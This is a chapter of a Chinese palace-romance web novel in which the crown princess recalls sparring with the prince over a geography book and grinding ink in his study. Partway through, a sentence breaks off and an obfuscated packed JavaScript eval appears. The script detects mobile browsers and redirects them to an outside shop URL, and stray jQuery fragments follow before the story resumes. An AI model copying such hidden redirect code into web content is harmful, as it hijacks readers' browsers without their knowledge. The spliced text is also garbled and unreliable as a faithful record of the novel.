默认冷灰
24号文字
方正启体

19. 回忆

作者:金不易章本书字数:K更新时间:
    骗李添亦,的确不是一般的轻松,而且是相当解气。


    刚成婚那会儿她还客客气气的,说话都要先在脑子里过一遍,生怕哪句不合规矩,他也是一副不咸不淡的样子,来宜春殿像上朝,坐一坐,说几句场面话,到点就走,一刻不多留。


    后来不知怎么的,客气就慢慢变成了不客气。


    那天她在东宫的藏书阁里翻到一本前朝的地理志,里头写了好些她从未听过的山川河流,看得入迷,不知不觉就过了午膳的时辰,青骊来催了好几回,她都说不急不急。


    等她终于看完那本,心满意足合上书,发现书的末页有一行小字,批注:此书谬误颇多,不足为信


    她当时也不知道哪根筋搭错了,觉得这人有毛病,自己看不懂就说人家谬误多。她翻出笔,在那行批注下面写了一行更小的字:阁下看不懂就说看不懂,何必怪书


    写完了,她端详了一下,觉得自己的字比那人的好看多了,心满意足地把书放回原处走了。


    过了两日,李添亦来宜春殿用晚膳,从袖中抽出一本书,放在桌上。


    正是她写批注的那本。


    傅茵心猛地一跳,面上还撑着:“殿下怎么拿了这本书来?”


    “藏书阁的书,我不能拿?”


    他直接翻到末页,指着那行小字抬眼看她,“这是你写的?”


    傅茵凑过去看了一眼,故作惊讶:“哎呀,这谁写的,字倒是挺好看的。”


    “傅茵。”


    “……”


    她平日用的是簪花小楷,工工整整写的,这本上的批注却是随手写的行书,他怎么看出来的,这人眼睛是尺子吗。


    “殿下好眼力。”她干巴巴地说。


    他没接这话,翻回前面,指着那位前朝藏家的批注:“这位是著名地志学者秦仲儒,毕生致力于实地勘测,他的批注多半是有依据的。”


    傅茵不服气了:“他走过的地方再多,也有没走过的,书上写的那些山川他去过吗,他怎么知道一定是错的。”


    “他有没有去过不重要,重要的是,你写这行字的时候,去过吗?”


    傅茵张了张嘴,“没去过。”她认了。


    “那你凭什么说他看不懂?”


    她虽然没去过,可是阿耶去过那个地方,回来还和她讲了,阿耶亲自去的,亲眼见的,能有错吗。


    于是傅茵问:“那殿下去过吗?”


    他没答话,那肯定就是没去过,傅茵底气更足了:“你也没去过,你凭什么看得懂他不是看不懂。”


    话是有点绕,但意思是这么个意思。


    他不说话了,傅茵心满意足。


    她以为就这么过去了。


    但是过了两天,青骊从外头回来,身后跟着两个内侍,一人抱着一摞书,摞起来比她人还高。


    内侍把书放在桌上,行了礼退了出去,青骊把一张纸条递给她,说是殿下让人转交的。


    傅茵展开纸条,上面是他瘦硬的字迹:“不是喜欢看地理志吗,这里的每一本,都比藏书阁那本强十倍,好好看,好好背,过几日孤来考校。”


    傅茵看着那摞书,又看着纸条,先是一喜。


    这么多地理志,她好多都没看过,好多连听都没听过——随即看到“好好背”和“考校”两个字,喜意瞬间消散了大半。


    她翻开最上面那本《水经注》,密密麻麻的注文看得她眼前一黑。


    这玩意儿是能背的吗,她看书是为了消遣,是为了看那些奇山异水和风土人情,不是为了背书,她要是爱背书,怎么不去考科举呢。


    况且她凭什么要给他背,他是太子还是夫子啊。


    她是太子妃,不是他的学生,他要爱考,找他的太傅去,找他的詹事去,找他那一群侍读去,逮着她折腾算什么本事。


    她把纸条揉成一团,想了想,又展开,抚平,折了两折,塞进了抽屉里。


    书她是要看的,但背是不可能的。


    她就不背,他能怎样。


    过了几日,李添亦又来宜春殿,坐下喝了口茶:“书看得如何了?”


    “看了。”她说。


    “背一段听听。”


    “殿下,”她正色道:“我是太子妃,不是您的伴读,您要考校学问,东宫有的是能人,何苦为难我一个人。”


    他看了她一眼,没说话,端起茶盏又喝了一口。


    “我记得你在藏书阁写批注的时候,可不是这般谦虚的。”他放下茶盏。


    “那不一样。”


    “哪里不一样?”


    她被噎住了,哪里不一样,当然不一样,写批注是背后写的,背东西是当着他的面,这能一样吗。


    她不背,打死也不背。


    他也没有强求,坐了一会儿就走了,她以为这事又过去了。


    结果第二天,青骊来说,殿下传话,说前几日送来的那批书要收回去。


    傅茵愣了:“凭什么?”


    “殿下说,太子妃既然不愿读,放着也是落灰,不如还回去。”


    傅茵气得牙痒痒。


    那些书她翻了几本,正看得起劲呢,要收回去这不是要她的命吗,她咬了咬牙:“我背还不成吗?”


    后来她断断续续背了几段,背得磕磕巴巴。


    她觉得自己像只被猫耍着玩的耗子,但有什么办法呢,书是人家的,她要看,就得听人家的规矩。


    但他这回没抓考校不放:“你如果觉得背书太难,还有别的办法。”


    傅茵警惕地看着他,抱紧自己,“什么办法?”


    他看她这模样,神色颇为复杂,大概压下了个无语凝噎,“给我磨墨,磨一日,抵一段。”


    她想也不想就答应了,背书要动脑子,磨墨只要动手,傻子才选背书。


    第二天她就去了他的书房。


    书房重地,从前她是不能进的,门口有侍卫,路过都要被多看两眼,如今她捧着墨锭走进去,还有点做梦的感觉。


    他坐在书案后头批公文,头也没抬,指了指旁边的砚台。


    她把袖子挽了挽,露出一小截皓腕,站在书案一侧开始磨墨。


    磨墨是个细致活,不能太快也不能太慢,力道要均匀,水要一次一次加,她磨了小半个时辰手腕就酸了。


    这人就是故意折腾她。


    头两日,她规规矩矩站着磨,磨得手腕酸疼,回去让青骊揉了好半天。


    第三日她学聪明了,搬了把椅子来坐着磨,他也没说什么,她就当默许了。


    又过了两日,她坐着磨也嫌累了,干脆趴在桌沿上磨,他批公文批到一半,抬眼看她一下,继续低头批。


    以后再去书房,进去先在椅子上坐一会儿,翻翻书架上的书,翻到有趣的就多看两页,没趣的就丢回去。等他需要磨墨才慢吞吞蹭过去,站也不好好站,斜靠着书案,一只手磨,另一只手还拿着书。


    他有时候会看她一眼,眼里全是“你能不能好好磨”,她权当没看见,继续一边看书一边磨。


    有一回她实在不想动了,整个人趴在桌沿上,脸贴着冰凉桌案,闭着眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533887|203564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睛哼哼唧唧:“殿下今日自己磨吧,我的手今天不是我的手,借给别人了,还没还回来。”


    他听了这话,手中笔顿了一下。


    她当然不是真的要他自己磨,就是想拖延一会儿罢了,她以为他少不得要说她两句,等了片刻,什么也没等到。


    睁开一只眼看,发现他真的自己拿起墨锭磨起来,磨了两下,忽然开口:“你什么时候把手要回来?”


    她愣了一下,没想到他会接这个茬。


    “明日吧,”她说:“今日太晚了,那人怕是睡了。”


    “行。”他继续磨墨。


    她趴在那儿,看他磨墨的手。


    手指修长,骨节分明,握着墨锭的动作不急不缓,有点像他批公文的样子,也像他下棋的样子,总之就是那种什么都会,什么都不慌的感觉。


    说错了,下棋不会,至少没她会。


    这人大概从小就没怎么自己磨过墨吧,身边永远有人伺候着,现在娶了个太子妃,不但没享福,还得自己动手。


    傅茵忍不住笑了一下。


    他听见了,抬眼:“笑什么?”


    “没——笑——”她偏头枕在胳膊上。


    有一回她来晚了,进门的时候他已经开始批公文,砚台里的墨磨好了放在一旁,她挪过来:“殿下自己磨了?”


    “等你来,天都黑了。”


    她在椅子上坐下来,有点不好意思。


    当然不是因为她来晚了不好意思,是因为他居然真地没等她,自己就把墨磨了。那她来干什么,她来就是磨墨的,墨都磨好了她不是白来了吗。


    “那我帮殿下翻书?”她试探着说。


    “不用。”


    “那我帮殿下裁纸?”


    “不用。”


    她坐在那儿觉得自己很多余,过了片刻又开口:“那殿下有什么需要我做的?”


    他抬起头,看了她一眼,“安静坐一会儿。”


    她闭嘴了。


    但安静了没一会儿,她又开口了:“殿下批的是什么公文?”


    “户部的。”


    “户部的什么?”


    “漕运的事。”


    “哦,漕运怎么了?”


    他把笔放下,抬头看她。


    眼神不算不耐,当然也算不上和蔼,就是那种轻微撇嘴,外加“你到底要问多少”的表情,她眨眨眼,一脸无辜。


    他看了她两息,继续批公文,“漕运的粮船在淮河段搁浅了,要调附近的官船去帮忙。”


    “那调了吗?”


    “在调。”


    “调得过来吗?”


    “调得过来。”


    “那就好。”


    她安静了片刻,看书,却也只安静了片刻。


    “殿下知不知道,南诏有一种鸟,羽毛是金翠色的,叫起来像人在说话。”


    “嗯。”


    “还有一种树,结的果子像杯子,摘下来可以当碗用。”


    “嗯。”


    “你到底有没有在听?”


    “在听,”他说,手上批公文的笔没停,“你说的这些书里都有,你看到第三卷了?”


    她翻开书皮,果然是第三卷,“你怎么知道?”


    “因为那本书是我让人收进来的,第一卷讲山川,第二卷讲物产,第三卷讲珍禽异兽,你念的都是异兽,自然是第三卷。”


    傅茵努努嘴。


    这人平日爱端架子,张口闭口诗书经典,私底下看的奇闻异志也不少嘛。


    假,正,经。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)